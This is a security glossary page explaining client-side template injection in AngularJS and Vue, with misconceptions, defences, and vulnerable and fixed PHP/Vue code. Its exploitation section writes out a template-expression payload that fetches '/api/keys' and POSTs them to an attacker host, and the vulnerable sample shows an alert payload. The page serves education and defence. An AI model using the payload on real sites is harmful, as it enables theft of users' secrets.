← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

Client-Side Template Injection (CSTI)

Security CWE-1336 OWASP A3:2021 CVSS 7.5 Advanced
debt(d7/e5/b5/t7)
d7 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'only careful code review or runtime testing' (d7). The detection_hints specify 'automated: no' and the only tool listed is semgrep, which requires custom rules to detect the pattern of user-controlled output being mounted into framework roots. Standard SAST tools and linters don't catch this by default — identifying CSTI requires manual review of how server-rendered content interacts with client-side framework mount points.

e5 Effort Remediation debt — work required to fix once spotted

Closest to 'touches multiple files / significant refactor in one component' (e5). The quick_fix suggests using v-pre/ng-non-bindable or restructuring mount regions, but in practice fixing CSTI often requires refactoring how server-rendered templates integrate with frontend frameworks — moving user content outside mount points or restructuring the component hierarchy. This typically touches multiple template files and may require rearchitecting the server-client rendering boundary.

b5 Burden Structural debt — long-term weight of choosing wrong

Closest to 'persistent productivity tax' (b5). Once a PHP application adopts the pattern of mounting Vue/Angular over server-rendered HTML containing user data, this architectural choice affects every page using that pattern. Developers must perpetually remember to either isolate user content from mount regions or apply framework-specific non-binding directives. The reach spans the entire frontend integration layer across the web context.

t7 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'serious trap' (t7). The misconception field explicitly states that HTML-encoding (htmlspecialchars) — the universally taught XSS defense — does NOT prevent CSTI because the framework re-parses after encoding. Developers who correctly learned to always encode output will assume they're protected, but the attack vector is orthogonal to traditional XSS prevention. This contradicts how XSS defense works in pure server-rendered contexts.

About DEBT scoring →

Also Known As

CSTI Angular template injection Vue template injection Handlebars injection client template injection

TL;DR

Attacker-controlled input rendered as a template expression by a client-side framework (AngularJS, Vue, Handlebars), executing JavaScript in the victim's browser.

Explanation

CSTI occurs when a server safely HTML-encodes user input but then a client-side framework re-parses the encoded output as a template, evaluating any expression syntax the attacker injected. The classic case is AngularJS 1.x: a server places `{{user_input}}` into the page after HTML-escaping it; Angular sees `{{constructor.constructor('alert(1)')()}}` and executes it. Vue, Handlebars (`{{ }}`), Underscore (`<%= %>`), and any framework that interprets braces or other delimiters at render-time are vulnerable to the same class of bug. CSTI is distinct from server-side template injection (SSTI): it never runs code on the server, only in the browser, and the impact is XSS-class (session theft, request forgery, defacement). It is also distinct from classic XSS in that HTML encoding alone does not stop it — the framework processes the encoded text as a template after the encoding has been applied. Defences: never let user input land inside an active template region; use text bindings (`v-text`, `ng-bind`) instead of interpolation; sanitise input against the framework's expression syntax; or escape framework-specific delimiters (`{{` → `{{ '{{' }}`).

How It's Exploited

Page mounts AngularJS on a div containing server-rendered user comments. Comment body: `{{constructor.constructor('fetch(\'/api/keys\').then(r=>r.text()).then(t=>fetch(\'//attacker\',{method:\'POST\',body:t}))')()}}`. Victim loads page → Angular evaluates expression → keys exfiltrated. The HTML source shows the curly braces and the text inside, all properly HTML-encoded.

Common Misconception

HTML-encoding user input prevents CSTI. It does not — the framework re-parses the encoded markup as a template after the encoding has been applied, so `{{` survives encoding and triggers expression evaluation. Defending against CSTI requires escaping the framework's expression delimiters, not just HTML special characters.

Why It Matters

Many PHP applications use a frontend framework (Vue, Alpine, Angular) over server-rendered pages. Developers correctly use `htmlspecialchars` on every user value, then mount the encoded HTML into a Vue or Angular root, exposing every encoded value to template interpretation. The result is full XSS with browser-side code execution, all from input that 'looks safe' in the rendered HTML source.

Common Mistakes

  • Mounting an Angular/Vue app on a region of server-rendered HTML containing user input — every interpolation expression in that region is exploitable.
  • Using Vue's `v-html` (or Angular's `[innerHTML]`) on user-supplied strings — bypasses both HTML encoding and the framework's expression escaping.
  • Assuming Handlebars 'safe-string' helpers protect against template syntax — they protect against HTML output but still evaluate expressions.
  • Stripping `<script>` tags but leaving `{{` intact — the executor here is the framework, not a script tag.
  • Trusting that modern framework defaults are immune — Vue 3 disables in-DOM template compilation by default, but inline templates and SSR hydration regions can still be vulnerable.

Avoid When

  • The framework's mount region contains zero server-rendered user content — pure data-binding apps are not vulnerable to this class.

When To Use

  • Auditing pages that mix server-rendered user content with client-side framework mount points.
  • Reviewing template-rendering libraries used both server-side and client-side.

Code Examples

💡 Note
The fix is architectural: stop putting raw user-rendered HTML inside a region the framework will compile. Pass the data through the framework's data layer instead.
✗ Vulnerable
<!-- ❌ Server HTML-encodes user comment, then Vue mounts on the surrounding div -->
<div id="app">
    <h2>Comment by <?= htmlspecialchars($comment->author) ?></h2>
    <p><?= htmlspecialchars($comment->body) ?></p>
</div>
<script src="https://unpkg.com/vue@3"></script>
<script>
    const { createApp } = Vue;
    createApp({}).mount('#app');
    // Vue parses everything inside #app as a template.
    // A comment body of {{ constructor.constructor('alert(1)')() }} executes.
</script>
✓ Fixed
<!-- ✅ Pass user data as data, not as template content; use v-text/v-pre -->
<div id="app">
    <h2>Comment by <span v-text="author"></span></h2>
    <p v-text="body"></p>
</div>
<script>
    const { createApp } = Vue;
    createApp({
        data() {
            return {
                author: <?= json_encode($comment->author, JSON_HEX_TAG | JSON_HEX_AMP) ?>,
                body:   <?= json_encode($comment->body,   JSON_HEX_TAG | JSON_HEX_AMP) ?>
            };
        }
    }).mount('#app');
    // v-text writes data as text content — no template interpretation.
    // Alternative: wrap static user-rendered regions in v-pre to disable compilation.
</script>

Added 28 Apr 2026
Edited 12 Jun 2026
Views 47
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 0 pings W 1 ping T 2 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 2 pings F 0 pings S 1 ping S 2 pings M 2 pings T 1 ping W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 1 ping F 2 pings S 0 pings S 0 pings M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Perplexity 6 Scrapy 5 Google 4 SEMrush 4 Bing 4 Ahrefs 3 ChatGPT 2 Claude 2 Meta AI 1 Majestic 1
crawler 28 crawler_json 4
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Medium
⚡ Quick Fix
Either keep server-rendered user content outside the framework's mount region, or use v-pre / ng-non-bindable on the wrapping element so the framework skips expression evaluation.
📦 Applies To
web vue angularjs alpine handlebars
🔗 Prerequisites
🔍 Detection Hints
User-controlled output rendered inside a div that becomes a Vue/Angular mount root; presence of {{ }} delimiters in server-rendered HTML the framework will compile
Auto-detectable: ✗ No semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: High ✗ Manual fix Fix: Medium Context: File Tests: Update
CWE-1336 CWE-79


✓ schema.org compliant